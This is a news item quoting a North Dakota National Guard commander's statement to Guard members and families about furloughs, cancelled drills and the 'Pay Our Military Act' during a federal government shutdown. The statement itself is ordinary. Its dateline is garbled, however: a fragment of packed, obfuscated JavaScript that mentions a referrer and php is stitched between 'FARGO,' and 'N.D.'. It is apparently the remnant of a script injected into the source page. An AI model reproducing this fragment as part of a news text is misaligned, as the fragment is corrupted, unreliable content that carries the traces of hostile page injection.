FARGO, zizfa|var|u0026u|referrer|kyzad||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) Major General David Sprynczynatyk released the following statement to all members and employees of the North Dakota National Guard and their families:

The Federal government shutdown has adversely impacted our Guard Family. Due to the lack of appropriated funds for this new fiscal year, we’ve had to send approximately 85% of our military and civilian technicians and federally reimbursed state employees home on furlough and cancel the Oct. 5-6 weekend drills for all non-alerted units. Additionally, if a budget is not passed, we will be forced to furlough a significant portion of our federally reimbursed state employees. Over time, these furloughs degrade our ability to accomplish our missions of supporting national defense and overall readiness. As each day passes with no congressional agreement, this situation has deeper and long-lasting impacts that all of North Dakota will feel.

The fiscal impact on all of our Soldiers, Airmen, employees and their families is devastating. I know there are many situations where people are wondering “how long can this go on and how will I pay my bills?” This situation saddens me as my number one priority is and always will be the welfare of our NDNG family. I am deeply concerned for you and saddened by these political circumstances.

My fellow TAGs and I are working with our elected leaders and the National Guard Bureau to mitigate the impact of this shutdown on you and your family. We are currently working to ensure our Guard is represented in the “Pay Our Military Act” that Congress and the President signed before the shutdown. The “Pay Our Military Act” was, indeed, a rare example of fast, decisive action taken by Congress and our President. Our nation’s elected officials clearly recognized that this bill was the right thing to do for our country, and for those that have sacrificed so much to maintain our precious freedoms. Unfortunately it did not address all of our military, a huge oversight.

The legislation gives the Department of Defense broad latitude to pay service members and civilians. The bill does not limit the provision of pay to civilians or certain service members who were previously categorized by the Administration as ‘excepted’ or ‘essential’ during sequestration furloughs. The law that was recently passed is explicitly clear: all members of the Armed Forces, including Reserve component personnel serving in an active status under Title 10 of federal law, will be paid in the event of a government shutdown. Further, the bill requires that civilian Department of Defense personnel “providing support to members of the Armed Forces” continue to receive their pay and allowances. Officials outside of the Department of Defense have thus interpreted the law as EXCLUDING paying Guard and other Reserve Component military technicians, which serve under Title 32 of federal law.

It is my firm position that ALL Soldiers and Airmen of the NDNG are mission critical for our communities, state and nation. The National Guard has demonstrated that it is the most cost-effective part of our national defense and the entire U.S. government. These cuts and furloughs minimize our capability to rapidly respond to state emergencies. However, we still stand ready, with a very lean force, to respond to the call of our Governor to save lives and property here at home and to bring others into any necessary response using the authority for State Active Duty.

Your voice needs to be heard and I will continue to carry it to our national leaders. You, too, can express your concerns to our elected officials in Washington, DC. Your voice, as a member of the Guard, is crucial to ensure that DoD includes all Guardsmen and Reservists in the “Pay Our Military Act.” Our senators, representatives and our President are accountable to us and need to hear our concerns.

I know the continuing budget uncertainty is stressful and frustrating. Please look to your Guard leadership, chaplains, mental health experts and our financial counselor for continued support. I pledge to you, we are doing all we can to make sure the NDNG voice is heard, and our organizational and personal situations are known at all levels. We all need to make the commitment to support each other when in need.

You have proven both overseas and here at home that your professionalism and continued commitment to your state and country makes our Guard the best force in America. Now is the time to be resilient and I thank you for your continued service and flexibility in these very challenging times.